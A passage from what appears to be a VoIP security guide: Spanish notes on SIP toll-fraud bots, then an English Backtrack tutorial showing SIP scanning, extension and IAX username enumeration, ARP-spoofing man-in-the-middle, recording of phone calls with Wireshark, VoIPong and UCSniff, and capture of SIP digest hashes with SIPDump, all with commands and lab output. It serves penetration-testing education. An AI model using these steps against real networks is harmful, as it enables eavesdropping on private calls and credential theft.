operador detecte un ataque DOS y nos desconecte temporalmente.La ventaja de que el bot pueda hacer llamadas sin autentificar, es que solo prueba cientos de llamadas, mientras que si no puede hacer llamadas sin autentificar, intentar autentificarse por fuerza bruta y ser mucho peor (ms intentos, ms ancho de banda, ms carga de procesador o peores consecuencias si encuentra una cuenta vulnerable).Si por desgracia encuentra una cuenta vulnerable (por ejemplo: 1000 y contrasea: pass1000) el procedimiento que sigue es muy llamativo:El bot se registra como si fuera un softphone y empieza a hacer llamadas a nmeros de pases donde se encuentra la red beneficiada, a ser posible a nmeros premium aunque si el nmero no descuelga, algn operador intermedio descolgar y nos cobrar la llamada internacional, esto no suele ser legal, pero que es tremendamente difcil de detectar y mucho ms difcil, de denunciar.El bot detecta el nmero de canales salientes disponibles, de forma que enva 100 peticiones de llamada y cuenta el nmero de llamadas en progreso y cuantas han fallado, de esta forma, si recibe 60 llamadas en progreso, las llamadas irn de 60 en 60 para maximizar el nmero de llamadas por tiempo y minimizar el nmero de peticiones a realizar.Las llamadas suelen hacerse por la noche o los fines de semana, bsicamente cuando la deteccin es ms difcil y de esta forma, se estima que los atacantes se encuentran en pases con diferente zona horaria que coincide con nuestras horas de sueo. Tambin es posible que ataquen de da, pero no es tan frecuente.Seguramente ests pensando que despus de leer esto (si has llegado hasta aqu) lo mejor es configurar un firewall y cerrarlo todo para prohibir cualquier acceso del exterior de tu red. Normal, muchas personas optan por esta opcin, aunque es posible que depender al 100% de tu firewall no sea lo ms recomendable. Ofrecer acceso remoto y redirigir las llamadas externas a unHangup directoes otra posibilidad. Revisar la seguridad de tus cuentas SIP, forzar contraseas duras, revisar los parmetros, etc tambin es importante hay muchas formas de prepararse para un ataque, lo importante es evitar huir y estar siempre alerta para ser capaz de detectar cuanto antes cualquier tipo de ataque y preparar las contramedidas necesarias para el caso que detectemos un ataque.

Anexo 3. SIP (Session Initiation Protocol)SIP BasicsThe SIP (Session Initiation Protocol) role is to setup, terminate or modify a voice or a video call where the voice and/or video traffic are being carried by a protocol like RTP (Real time transport Protocol). SIP is an application layer protocol which uses UDP for transport (TCP and SCTP can be used as well).SIP usually uses ports 5060 TCP or UDP for unencrypted signaling or 5061 for encrypted transportation using TLS.SIP is an ASCII based protocol which has some similar elements like in the HTTP protocol by using a Request/Response model. Much like an HTTP request from a browser a SIP client request is made using a SIP URI a user agent and a method/request. SIP uses e-mail like addresses format:user/phone@domain/ipA typical SIP URI looks like:sip:[email protected], sip:[email protected] , sip:[email protected]:5060According to the request made by the client a response will be received with a status or error code, the following tables describe the available requests and responses in the SIP protocol.SIP Requests / Methods

RequestDescription

INVITEUsed to invite and account to participate in a call session.

ACKAcknowledge an INVITE request.

CANCELCancel a pending request.

REGISTERRegister user with a SIP server.

OPTIONSLists information about the capabilities of a caller.

BYETerminates a session between two users in a call.

REFERIndicates that the recipient(identified by the Request URI) should contact a third party using the contact information provided in the request.

SUBSCRIBEThe SUBSCRIBE method is used to request current state and state updates from a remote node.

NOTIFYThe NOTIFY method is used to notify a SIP node that an event which has been requested by an earlier SUBSCRIBE method has occurred.

An Example SIP INVITE Request:INVITE sip:[email protected] SIP/2.0Via: SIP/2.0/UDP 192.168.1.102;rport;branch=z9hG4bKvbxaoqarMax-Forwards: 70

To: From: "NightRanger" ;tag=eihggCall-ID: hfxsabthoymshub@backtrackCSeq: 649 INVITEContact: Content-Type: application/sdp

Allow: INVITE,ACK,BYE,CANCEL,OPTIONS,PRACK,REFER,NOTIFY,SUBSCRIBE,INFO,MESSAGESupported: replaces,norefersub,100relUser-Agent: Twinkle/1.2

Content-Length: 310

SIP Responses

ResponseDescription

1xxInformational responses, Request received and being processed.

2xxSuccessful responses The action was successfully received, understood, and accepted.

3xxRedirection responses

4xxRequest failure responses The request contains bad syntax or cannot be fulfilled at the server.

5xxServer failure responses The server failed to fulfill an apparently valid request.

6xxGlobal failure responses The request cannot be fulfilled at any server.

An Example SIP Trying Response:

SIP/2.0 100 TryingVia: SIP/2.0/UDP 192.168.1.102;branch=z9hG4bKpmphujka;received=192.168.1.102;rport=5060From: "NIghtRanger" ;tag=eihggTo: Call-ID: hfxsabthoymshub@backtrackCSeq: 650 INVITE

User-Agent: Asterisk PBXAllow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY

Supported: replacesContact: Content-Length: 0

SIP Call Between 2 Phones Example

The calling phone sends an invite. The called phone sends back a response of 100 (Trying). The called phone then starts to ring and sends a response of 180 (Ringing). When the caller picks up the phone the called phone sends a response of 200 (OK). The calling phone sends an ACK response. Conversation begins via RTP. When the caller hangs up the phone a BYE request is sent. The calling phone responds with 200 (OK).

Anexo 4. Attack Vectors

Before we get started with the tools lets have a look at some common VoIP attack vectors: Information Gathering, Footprinting and Enumeration. Monitoring Traffic and eavesdropping Phone calls. Attacking Authentication. VLAN Hopping. Denial of Service / Flooding. Spoofing Caller ID.

Information Gathering

This phase is where we gather information about the topology, servers and clients to learn as much information as we can in order to launch a successful attack. What we are interested in finding is live hosts, PBX type and version, VoIP servers/gateways, clients (hardware and software) types and versions etc Instead of enumerating usernames we will be enumerating SIP extensions. Lets take a look at some of the tools which available in Backtrack to help us find, identify and enumerate VoIP enabled devices. SMAPBacktrack includes a great tool called SMAP which is a simple scanner for SIP enabled devices SMAP sends off various SIP requests awaiting responses from SIP enabled DSL router, proxies and user agents.It could be considered a mash up of NMAP and sipsak. SMAP Usage:

root@bt:/pentest/voip/smap# ./smap

smap 0.6.0 http://www.wormulon.net/

usage: smap [ Options ]

-h: this help -d: increase debugging -o: enable fingerprinting -O: enable more verbose fingerprinting -l: fingerprint learning mode -t: TCP transport -u: UDP transport (default -P0: Treat all hosts as online - skip host discovery -p : destination port -r : messages per second rate limit -D : SIP domain to use without leading sip: -w : timeout in msec

Scanning a single host:

root@bt:/pentest/voip/smap# ./smap 192.168.1.104

smap 0.6.0 http://www.wormulon.net/

192.168.1.104: ICMP reachable, SIP enabled

1 host scanned, 1 ICMP reachable, 1 SIP enabled (100.0%)

Scanning a range of IP addresses:

root@bt:/pentest/voip/smap# ./smap 192.168.1.130/24

smap 0.6.0 http://www.wormulon.net/

192.168.1.20: ICMP reachable, SIP enabled192.168.1.22: ICMP reachable, SIP enabled192.168.1.0: ICMP unreachable, SIP disabled192.168.1.1: ICMP unreachable, SIP disabled192.168.1.2: ICMP unreachable, SIP disabled192.168.1.3: ICMP unreachable, SIP disabled----EDIT---192.168.1.250: ICMP unreachable, SIP disabled192.168.1.251: ICMP unreachable, SIP disabled192.168.1.252: ICMP unreachable, SIP disabled192.168.1.253: ICMP unreachable, SIP disabled192.168.1.254: ICMP unreachable, SIP disabled192.168.1.255: ICMP unreachable, SIP disabled

256 hosts scanned, 7 ICMP reachable, 2 SIP enabled (0.8%)

Now that we have identified sip enabled hosts we can use SMAP to fingerprint the server/client type and version:

root@bt:/pentest/voip/smap# ./smap -O 192.168.1.104

smap 0.6.0 http://www.wormulon.net/

192.168.1.104: ICMP reachable, SIP enabledbest guess (70% sure) fingerprint: Asterisk PBX SVN-trunk-r56579 User-Agent: Asterisk PBX

1 host scanned, 1 ICMP reachable, 1 SIP enabled (100.0%)

In case SMAP could not fingerprint our host we use the l argument to put it in learning mode to provide some useful information:

root@bt:/pentest/voip/smap# ./smap -l 192.168.1.104

smap 0.6.0 http://www.wormulon.net/

NOTICE: test_accept: "Accept: application/sdp"NOTICE: test_allow: "Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY"NOTICE: test_supported: "Supported: replaces"NOTICE: test_via: transport capitalization: 2NOTICE: test_via: "branch;alias;received;rport"NOTICE: test_via: Please add new cmpstrNOTICE: test_via: transport capitalization: 2192.168.1.104: ICMP reachable, SIP enabledbest guess (70% sure) fingerprint: Asterisk PBX SVN-trunk-r56579

FINGERPRINT information:newmethod=501accept_class=2allow_class=201supported_class=8via_class=2hoe_class=ignoreoptions=200brokenfromto=404prack=481ping=501invite=200 User-Agent: Asterisk PBX

1 host scanned, 1 ICMP reachable, 1 SIP enabled (100.0%)

Another useful feature of SMAP is the d argument which enables debug output for verbosity try to use the o along with it to view the fingerprinting process in details.

root@bt:/pentest/voip/smap# ./smap -d 192.168.1.104

smap 0.6.0 http://www.wormulon.net/

DEBUG: local IP: 212.235.66.182DEBUG: local IP: 212.235.66.182DEBUG: bind() successfulDEBUG: RAW socket openDEBUG: moving 1 from S_START to S_PING

DEBUG: ICMP error Echo ReplyDEBUG: 192.168.1.104/1 request: SIP OPTIONS request (valid)

DEBUG: response belongs to task 1 (192.168.1.104)

DEBUG: ACK: ACK sip:localhost SIP/2.0Via: SIP/2.0/UDP 212.235.66.182:12345;branch=z9hG4bK.56689;alias;received=192.168.1.105;rport=5060From: ;tag=6b9ae50e67345d3bTo: ;tag=as14262fecCall-ID: [email protected]: 23915 ACKContent-Length: 0User-Agent: smap 0.6.0

--- end of ACK--192.168.1.104: ICMP reachable, SIP enabledDEBUG: destroying task 1

1 host scanned, 1 ICMP reachable, 1 SIP enabled (100.0%)

SIPSAKSIPSAK is used for testing SIP enabled applications and devices using the OPTION request method only. We can use it to fingerprint and enumeration. You wont find sipsak in the /pentest/voip/ directory; you can execute it from any location by simply typing sipsak.

root@bt:~# sipsaksipsak 0.9.6 by Nils Ohlmeier Copyright (C) 2002-2004 FhG Fokus Copyright (C) 2004-2005 Nils Ohlmeier report bugs to [email protected]

shoot : sipsak [-f FILE] [-L] -s SIPURI trace : sipsak -T -s SIPURI usrloc : sipsak -U [-I|M] [-b NUMBER] [-e NUMBER] [-x NUMBER] [-z NUMBER] -s SIPURI usrloc : sipsak -I|M [-b NUMBER] [-e NUMBER] -s SIPURI usrloc : sipsak -U [-C SIPURI] [-x NUMBER] -s SIPURI message: sipsak -M [-B STRING] [-O STRING] [-c SIPURI] -s SIPURI flood : sipsak -F [-e NUMBER] -s SIPURI random : sipsak -R [-t NUMBER] -s SIPURI

additional parameter in every mode: [-a PASSWORD] [-d] [-i] [-H HOSTNAME] [-l PORT] [-m NUMBER] [-n] [-N] [-r PORT] [-v] [-V] [-w]

-h displays this help message -V prints version string only -f FILE the file which contains the SIP message to send use - for standard input -L de-activate CR (\r) insertion in files -s SIPURI the destination server uri in form sip:[user@]servername[:port] -T activates the traceroute mode -U activates the usrloc mode -I simulates a successful calls with itself -M sends messages to itself -C SIPURI use the given uri as Contact in REGISTER -b NUMBER the starting number appendix to the user name (default: 0) -e NUMBER the ending numer of the appendix to the user name -o NUMBER sleep number ms before sending next request -x NUMBER the expires header field value (default: 15) -z NUMBER activates randomly removing of user bindings -F activates the flood mode -R activates the random modues (dangerous) -t NUMBER the maximum number of trashed character in random mode (default: request length) -l PORT the local port to use (default: any) -r PORT the remote port to use (default: 5060) -p HOSTNAME request target (outbound proxy) -H HOSTNAME overwrites the local hostname in all headers -m NUMBER the value for the max-forwards header field -n use FQDN instead of IPs in the Via-Line -i deactivate the insertion of a Via-Line -a PASSWORD password for authentication (if omitted password="") -u STRING Authentication username -d ignore redirects -v each v produces more verbosity (max. 3) -w extract IP from the warning in reply -g STRING replacement for a special mark in the message -G activates replacement of variables -N returns exit codes Nagios compliant -q STRING search for a RegExp in replies and return error on failure -W NUMBER return Nagios warning if retrans > number -B STRING send a message with string as body -O STRING Content-Disposition value -P NUMBER Number of processes to start -A NUMBER number of test runs and print just timings -S use same port for receiving and sending -c SIPURI use the given uri as From in MESSAGE -D NUMBER timeout multiplier for INVITE transactions and reliable transports (default: 64) -E STRING specify transport to be used -j STRING adds additional headers to the request

Here is an example for using sipsak to fingerprint a sip enabled device We can see in the result that the device we queried is an Audiocodes MP-114 FXS gateway.

root@bt:~# sipsak -vv -s sip:192.168.1.221

message received:SIP/2.0 200 OKVia: SIP/2.0/UDP 127.0.1.1:51601;branch=z9hG4bK.18a1b21f;rport;aliasFrom: sip:[email protected]:51601;tag=97ac9e5To: sip:192.168.1.221;tag=1c1785761661Call-ID: [email protected]: 1 OPTIONSContact: Supported: em,100rel,timer,replaces,path,resource-priorityAllow: REGISTER,OPTIONS,INVITE,ACK,CANCEL,BYE,NOTIFY,PRACK,REFER,INFO,SUBSCRIBE,UPDATEServer: Audiocodes-Sip-Gateway-MP-114 FXS/v.5.40A.040.005X-Resources: telchs=4/0;mediachs=0/0Accept: application/sdp, application/simple-message-summary, message/sipfragContent-Type: application/sdpContent-Length: 343

v=0o=AudiocodesGW 1785763980 1785763858 IN IP4 192.168.1.221s=Phone-Callc=IN IP4 192.168.1.221t=0 0m=audio 6000 RTP/AVP 18 8 0 127a=rtpmap:18 G729/8000a=fmtp:18 annexb=noa=rtpmap:8 PCMA/8000a=rtpmap:0 PCMU/8000a=rtpmap:127 telephone-event/8000a=fmtp:127 0-15a=ptime:20a=sendrecva=rtcp:6001 IN IP4 192.168.1.221

** reply received after 67.923 ms ** SIP/2.0 200 OK final received

SIPScanSip-scan is a simple scanner for sip enabled hosts it can scan a single host or an entire subnet.Sip-scan usage:

root@bt:/pentest/voip/sipscan# ./sip-scan --help./sip-scan version [unknown] calling Getopt::Std::getopts (version 1.05),running under Perl version 5.10.0. Usage: sip-scan [options]

-v Be verbose. -i ip|if Interface/IP for SIP-headers (default: IP from ppp0) -p port remote port to scan. (default: 5060) -l port local origin of packets. (default: 5060) -d n[p] Wait n ms after each sent packet (default: 50ms) or if 'p' is given, send n packets per second (default: 20) -w n Wait n ms for remaining answers (default: 2000ms)

Network spec contains the wildcard * or ranges n-m.

Scanning a subnet:

root@bt:/pentest/voip/sipscan# ./sip-scan -i eth0 192.168.1.1-254192.168.1.20: Grandstream HT-502 V1.2A 1.0.1.35192.168.1.21: Grandstream HT-502 V1.2A 1.0.1.35192.168.1.22: Asterisk PBX192.168.1.104: Asterisk PBX192.168.1.128: FreeSWITCH-mod_sofia/1.0.trunk-16055192.168.1.174: Grandstream HT-502 V1.2A 1.0.1.35192.168.1.175: Asterisk PBX 1.6.0.9-samy-r27192.168.1.219: "Exelmind Call-Control Switch (CCS)"192.168.1.248: MailVision HostLynx/2.1 'GA'

SVMAPSVMAP is a part of a suite of tools called SIPVicious and its my favorite scanner of choice It can be used to scan identify and fingerprint a single IP or a range of IP addresses. Svmap allows specifying the request method which is being used for scanning, the default method is OPTIONS, it offers debug and verbosity options and even allows scanning the SRV records for SIP on the destination domain. You can use the ./svmap h in order to view all the available arguments

root@bt:/pentest/voip/sipvicious# ./svmap.pyUsage: svmap.py [options] host1 host2 hostrangeexamples:svmap.py 10.0.0.1-10.0.0.255 \> 172.16.131.1 sipvicious.org/22 10.0.1.1/24 \> 1.1.1.1-20 1.1.2-20.* 4.1.*.*svmap.py -s session1 --randomize 10.0.0.1/8svmap.py --resume session1 -vsvmap.py -p5060-5062 10.0.0.3-20 -m INVITE

Scanning an IP range:

root@bt:/pentest/voip/sipvicious# ./svmap.py 192.168.1.1-254| SIP Device | User Agent | Fingerprint |----------------------------------------------------| 192.168.1.104:5060 | Asterisk PBX | disabled || 192.168.1.103:5060 | Twinkle/1.4.2 | disabled |

Enabling fingerprinting scanning

root@bt:/pentest/voip/sipvicious# ./svmap.py 192.168.1.1-254 --fp

Sip 07.png

Extensions EnumerationExtension enumeration can aid an attacker by finding valid extensions on a VoIP system which later can lead to a brute force attack on the SIP accounts. Extension enumeration works by examining errors returned by a sip requests methods like REGISTER, OPTIONS and INVITE SvwarSvwar is also a tool from the sipvicious suite allows to enumerate extensions by using a range of extensions or using a dictionary file svwar supports all the of the three extension enumeration methods as mentioned above, the default method for enumeration is REGISTER.Usage:

root@bt:/pentest/voip/sipvicious# ./svwar.pyUsage: svwar.py [options] targetexamples:svwar.py -e100-999 10.0.0.1svwar.py -d dictionary.txt 10.0.0.2

Example:

root@bt:/pentest/voip/sipvicious# ./svwar.py -e100-400 192.168.1.104| Extension | Authentication |------------------------------| 201 | reqauth || 200 | reqauth || 203 | reqauth || 202 | reqauth || 303 | reqauth || 305 | reqauth |

Svwar has identified all the extensions Ive created on my Trixbox server. You can specify another sip method by using the m argument, you can also add t v or vv for verbosity.

root@bt:/pentest/voip/sipvicious# ./svwar.py -e100-400 192.168.1.104 -m INVITE -vINFO:TakeASip:trying to get self ip .. might take a whileINFO:root:start your enginesINFO:TakeASip:Ok SIP device foundINFO:TakeASip:extension '200' exists - requires authenticationINFO:TakeASip:extension '201' exists - requires authentication-----Edit----INFO:TakeASip:extension '203' exists - requires authenticationINFO:TakeASip:extension '303' exists - requires authenticationINFO:TakeASip:extension '303' exists - requires authenticationINFO:TakeASip:extension '305' exists - requires authenticationINFO:root:we have 6 extensions| Extension | Authentication |------------------------------| 201 | reqauth || 200 | reqauth || 203 | reqauth || 202 | reqauth || 303 | reqauth || 305 | reqauth |

INFO:root:Total time: 0:00:21.944731

EnumiaxEnumiax is used to enumerate Asterisk Exchange protocol usernames. It allows for a dictionary attack or a sequential Username Guessing

root@bt:/pentest/voip/enumiax# ./enumiaxenumIAX 1.0Dustin D. Trammell Usage: enumiax [options] target options: -d Dictionary attack using file -i Interval for auto-save (# of operations, default 1000) -m # Minimum username length (in characters) -M # Maximum username length (in characters) -r # Rate-limit calls (in microseconds) -s Read session state from state file -v Increase verbosity (repeat for additional verbosity) -V Print version information and exit -h Print help/usage information and exit

root@bt:/pentest/voip/enumiax# ./enumiax -v -m3 -M3 192.168.1.104enumIAX 1.0Dustin D. Trammell Target Aquired: 192.168.1.104Connecting to 192.168.1.104 via udp on port 4569...Starting enum process at: Sat Feb 5 13:04:18 2011Now working on 3 character usernames...

#################################Trying username: "000"#################################Trying username: "001"#################################Trying username: "002"#################################Trying username: "003"#################################Trying username: "004"#################################Trying username: "005"#################################Trying username: "006"#################################Trying username: "007"#################################Trying username: "008"#################################...

root@bt:/pentest/voip/enumiax# ./enumiax -d dict -v 192.168.1.104enumIAX 1.0Dustin D. Trammell Target Aquired: 192.168.1.104Connecting to 192.168.1.104 via udp on port 4569...Starting enum process at: Sat Feb 5 13:02:39 2011

#################################Trying username: "guest"#################################Trying username: "iaxtel"#################################Trying username: "iaxtel2"#################################Trying username: "100"#################################Trying username: "101"#################################Trying username: "200"#################################Trying username: "201"#################################Trying username: "202"#################################Trying username: "203"End of dictionary file reached, exiting.

Monitoring Traffic and Eavesdropping Phone calls

Monitoring VoIP traffic can allow an attacker capture SIP requests and RTP data sent from clients to server and back. It can serve two attack vectors:Capturing SIP authentication (we will later discuss this topic in the attacking authentication section).Eavesdropping users phone calls.For demonstration purposes we will use the following scenario:

Sip 08.png

For this attack vector we will need to perform a Man in The Middle Attack which will require the following steps:Arp poisoning/spoofingSniffing trafficDecoding RTP data to an audio file.

Arp Poisoning using ArpspoofBefore we can begin to sniff traffic we will need to arp poison our switch/gateway, well be using a tool called Arpspoof which is located in /usr/sbin/Arpspoof folder in Backtrack, in fact you can just invoke it from anywhere by typing: arpspoof Before we can use arpspoof we will need to enable IP forwarding:

root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward

Arpspoof syntax should look as follows:

root@bt:~# arpspoofVersion: 2.4Usage: arpspoof [-i interface] [-t target] host

For a successful MITM attack we will need to spoof both ways:

arpspoof t victim gatewayarpspoof t gateway victim

Sip 09.png

We will let our Arp poisoning run in the background while performing a capture using Wireshark. Capturing traffic and Eavesdropping using WiresharkNow lets fire up Wireshark to capture some traffic. We will use the following Wireshark capture filter:

not broadcast and not multicast and host 192.168.1.118

Sip 10.png

Now lets start capturing some traffic While sniffing for traffic User B has launched the X-Lite soft phone on his desktop computer and dialed to user A extension 200.

Sip 11.png

Wireshark has captured some traffic, after a while I have stopped the capture process and saved the sessions into a file called sip.pcap.

Sip 12.png

We can see that we have captured the SIP traffic but for this section we are more interested in the RTP traffic because it contains the actual conversation data.

Sip 13.png

Wireshark has a pretty cool feature to decode captured VoIP calls data into playable audio format You can find this feature under the Statistics -> VoIP Calls menu.

Sip 14.png

Sip 15.png

VoIPongVoIPong is a utility which detects all Voice over IP calls on a pipeline, and for those which are G711 encoded, dumps actual conversation to separate wave files. It supports SIP, H323, Cisco's Skinny Client Protocol, RTP and RTCP. VoIPong is located in Backtrack /pentest/voip/voipong directory Before we can use VoIPong we will need to make some changes to the voipong.conf file:

root@bt:/pentest/voip/voipong# nano etc/voipong.confsoxpath = /usr/bin/soxnetworksfile = /pentest/voip/voipong/etc/voipongnetsoutdir = /pentest/voip/voipong/output/device = eth0 # your network interface card name

Now we can start VoIPong to capture some VoIP conversations

root@bt:/pentest/voip/voipong# ./voipong -c etc/voipong.conf -d4 -f

Sip 16.png

Once VoIPong detects a phone call it will start capture it once it finish VoIPong will stop the capture process and will render it to a playable wave file. All conversation will be saved into the /pentest/voip/voipong/output folder

Sip 17.png

Playing the file:

Sip 18.png

VomitVomit converts a Cisco IP phone RTP conversation into a wave file that can be played with ordinary sound players. Vomit requires a tcpdump output file. In order to get vomit up and running we will need to download and install waveplay Get it here: http://dir.filewatcher.com/d/FreeBSD/distfiles/Other/waveplay-20010924.tar.gz.5731.html

root@bt:~# tar -xzvf waveplay-20010924.tar.gzwaveplay-20010924/waveplay-20010924/Makefilewaveplay-20010924/waveplay.cwaveplay-20010924/waveplay.ja.1waveplay-20010924/wavefmt.hwaveplay-20010924/READMEwaveplay-20010924/waveplay.1waveplay-20010924/README.jproot@bt:~# cd waveplay-20010924root@bt:~/waveplay-20010924# makecc -c -o waveplay.o waveplay.ccc waveplay.o -o waveplayroot@bt:~/waveplay-20010924# cp waveplay /usr/bin/

root@bt:/pentest/voip/vomit# ./vomit-r sip.dump | waveplay -S8000 -B16 -C1

UCsniffUCSniff is a VoIP & IP Video Security Assessment tool that integrates existing open source software into several useful features, allowing VoIP and IP Video owners and security professionals to rapidly test for the threat of unauthorized VoIP and Video Eavesdropping. UCSniff supports Arp poisoning, VLAN Hopping, VLAN Discovery via CDP, it has a sniffer capabilities and more I consider it as an all in one eavesdropping tool. Lets take a look at some usage examples:UCSniff can operate in 2 modesMonitor mode Should be used on a shared media where the IP phones connected to i.e : a HUB, wireless access point, it can be also be used in a switched environment by setting up a SPAN sessions on a Cisco switch.Man in the middle mode This mode has 2 additional modes which areLearning ModeTargeted ModePreparing UCSniff so we can run it from any location in backtrack:

root@bt:/tmp# cd /pentest/voip/ucsniff/root@bt:/pentest/voip/ucsniff# ./configureroot@bt:/pentest/voip/ucsniff# makeroot@bt:/pentest/voip/ucsniff# make install

Monitor Mode Usage

root@bt:/tmp/ucsniff# ucsniff -i eth0 -MUCSniff 2.1 startingRunning in Monitor ModeFile directory-users.txt can't be opened for reading in working directoryFile targets.txt can't be opened for reading in working directoryListening on eth0... (Ethernet) eth0 -> 00:0C:29:84:98:B2 192.168.1.105 255.255.255.0

Starting Unified sniffing...Warning: Please ensure that you hit 'q' when you are finished with this program.Warning: 'q' re-ARPs the victims. Failure to do so before program exit will result in a DoS.

SIP Call in progress. (extension 200, ip 192.168.1.104) calling (extension 201, ip 192.168.1.118)SIP Call in progress. (extension 200, ip 192.168.1.105) calling (extension 201, ip 192.168.1.104)SIP Call ended. Conversation recorded in file '200-Calling-201-5:2:7-3-both.wav'SIP Call ended. Conversation recorded in file '200-Calling-201-5:2:8-2-both.wav'Closing text interface...

Unified sniffing was stopped.

We can stop the sessions by pressing on the Q key.Several files were created by UCSniff: Log files Contains detailed information about sip transactions Pcap files capture file which can be viewed in wireshark audio wav files conversation audio filesroot@bt:/tmp/ucsniff# ls -ltotal 376-rw-r--r-- 1 root root 40854 Feb 5 05:02 200-Calling-201-5:2:7-3-both.wav-rw-r--r-- 1 root root 115818 Feb 5 05:02 200-Calling-201-5:2:7-3.pcap-rw-r--r-- 1 root root 46294 Feb 5 05:02 200-Calling-201-5:2:8-2-both.wav-rw-r--r-- 1 root root 103940 Feb 5 05:02 200-Calling-201-5:2:8-2.pcap-rw-r--r-- 1 root root 278 Feb 5 05:02 call_detail_log-rw-r--r-- 1 root root 317 Feb 5 05:02 call_log-rw-r--r-- 1 root root 10063 Feb 5 05:02 sip.log-rw-r--r-- 1 root root 39073 Feb 5 05:02 sipdump.pcap-rw-r--r-- 1 root root 0 Feb 5 05:01 skinny_log

MITM Learning Mode UsageThis mode uses a signaling protocol (SIP, Skinny) to map extensions to an IP Addresses. You can customize the targets to only intercept specific IP Addresses or Networks. In the following example we assume we are on the VoIP VLAN UCSniff will Arp poison all hosts on the subnet.

root@bt:/tmp/ucsniff# ucsniff -i eth0 // //UCSniff 2.1 startingListening on eth0... (Ethernet) eth0 -> 00:0C:29:84:98:B2 192.168.1.105 255.255.255.0Randomizing 255 hosts for scanning...Scanning the whole netmask for 255 hosts...* |==================================================>| 100.00 %ARP poisoning victims: GROUP 1 : ANY (all the hosts in the list) GROUP 2 : ANY (all the hosts in the list)Mapped new target entry: (IP: 192.168.1.118) --> extension 201 and name:Mapped new target entry: (IP: 192.168.1.104) --> extension 200 and name:SIP Call in progress. (extension 201, ip 192.168.1.118) calling (extension 200, ip 192.168.1.104)SIP Call ended. Conversation recorded in file '201-Calling-200-5:13:4-2-both.wav'Closing text interface...ARP poisoner deactivated.RE-ARPing the victims...Unified sniffing was stopped.

If we take a look at UCSniff log files we can see the discovered targets used in the attack.

root@bt:/tmp/ucsniff# cat targets.txt192.168.1.118,201,,sip192.168.1.104,200,,sip

MITM Target ModeTarget Mode enables Eavesdropping at a layer higher than just random audio streams or the IP address of phones for which you don't know the extension. This mode has 2 sub modes: Targeted User Targeted Conversation We can add targets manually to the targets.txt file in the following format: x.x.x.x,extension,,sip 192.168.1.118,201,,sip Or use learning mode to auto discover hosts

root@bt:/tmp/ucsniff# ucsniff -i eth0 -TUCSniff 2.1 startingFile targets.txt can't be opened for reading in working directoryNo targets have been previously discovered in Targets file, targets.txtPlease run UCSniff in learning mode, or manually edit targets.txt

Once a valid targets.txt file is found you will be asked to choose an eavesdropping mode:

root@bt:/tmp/ucsniff# ucsniff -i eth0 -TUCSniff 2.1 startingParsed 2 entries in Targets file, targets.txtUCSniff running in target mode. Parsed 2 previously discovered targetsPlease select a Targeted Eavesdropping Mode:1. UserDescription: Eavesdrop on all calls to or from a particular endpoint.2. ConversationDescription: Eavesdrop on bi-directional conversation flows between two selected endpoints.Please select option (1) or (2):

Selecting "User" tells the tool to intercept all traffic between the one Target, and the rest of the network.

Sip 19.png

In "Conversation", two endpoints are selected and the network is ARP Poisoned to only intercept the traffic between those two users.

Sip 20.png

UCSniff includes more useful tools and attacks modes like VLAN hopping (using ACE) which will be discussed later. XplicoAlthough Xplico is not in the Backtrack voip tools directory, it is a very useful tool for capturing SIP and RTP traffic (among other protocols). Xplico can be found in the Backtrack -> Digital Forensics -> Forensic Analysis menu

Sip 21.png

In case it is not present on your Backtrack installation you can simply install it by issuing the following command:

root@bt:~# apt-get install xplico

Xplico can be used to capture live traffic or import a Wireshark PCAP capture file. Either way Xplico will decode the captured packets and will assemble them into the appropriate format In our case it will be SIP and RTP. After executing Xplico you will be asked to login, the default username and password are: xplico

Sip 22.png

Once we have successfully logged in to Xplico we will need to create a case

Sip 23.png

We will be asked to choose between a live capture or to import a PCAP file In this example we will use Xplico to perform a live capture (we will Arp poison our targets in the background using arpspoof). Now we will have to choose our case and create a new session

Sip 24.png

By choosing our newly created session we will see our main statistics page with the option to choose our network adapter and start/stop the capture process.

Sip 25.png

Here is an example for captured SIP traffic:

Sip 26.png

Sip 27.png

An example for RTP decoded traffic:

Sip 28.png

Capturing SIP Authentication using SIPDumpSIPDump is a part of the SIPCrack tools suite, it allows performing a live capture of SIP authentication digest response or it can dump a previously captured sessions from a PCAP file. SIPDump Usage:

root@bt:/pentest/voip/sipcrack# ./sipdump -i eth0SIPdump 0.3 ( MaJoMu | www.codito.de )---------------------------------------Usage: sipdump [OPTIONS] = file where captured logins will be written to Options: -i = interface to listen on -p = use pcap data file -m = enter login data manually -f "" = set libpcap filter* You need to specify dump file

Live capture using SIPDump:

root@bt:/pentest/voip/sipcrack# ./sipdump -i eth0 auth.txtSIPdump 0.3 ( MaJoMu | www.codito.de )---------------------------------------* Using dev 'eth0' for sniffing* Starting to sniff with packet filter 'tcp or udp or vlan'* Dumped login from 192.168.1.104 -> 192.168.1.111 (User: '200')* Dumped login from 192.168.1.104 -> 192.168.1.111 (User: '200')* Dumped login from 192.168.1.104 -> 192.168.1.111 (User: '200')

Dumping authentication data from a PCAP file

root@bt:/pentest/voip/sipcrack# ./sipdump -p /root/registration.pcap auth.txtSIPdump 0.3 ( MaJoMu | www.codito.de )---------------------------------------* Using pcap file '/root/registration.pcap' for sniffing* Starting to sniff with packet filter 'tcp or udp or vlan'* Dumped login from 192.168.1.104 -> 192.168.1.101 (User: '200')* Exiting, sniffed 1 logins

SIPDump will write the authentication challenge response to the specified file which looks as follows:

192.168.1.111"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"44b80d16""""MD5"8edc2d549294f6535070439fb069c968192.168.1.111"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"46cce857""""MD5"4dfc7515936a667565228dbaa0293dfc192.168.1.111"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"2252e8fe""""MD5"5b895c6ae07ed8391212119aab36f108

We will disscuss cracking these challenges in the attacking authentication chapter.Attacking Authentication

SIP can be susceptible to 2 types of authentication attacks, before we take a look at these attacks types lets understand hows a SIP registration and authentication process takes place. SIP uses a digest authentication which is a mechanism that the HTTP protocol uses and known as HTTP digest. Because SIP is an ASCII based protocol the authentication details are hashed in order to prevent them to transport in clear text. When a SIP client (User Agent) wants to authenticate with a SIP server, the server generates and sends a digest challenge to the client, it contains the following parameters:

Sip 29.png

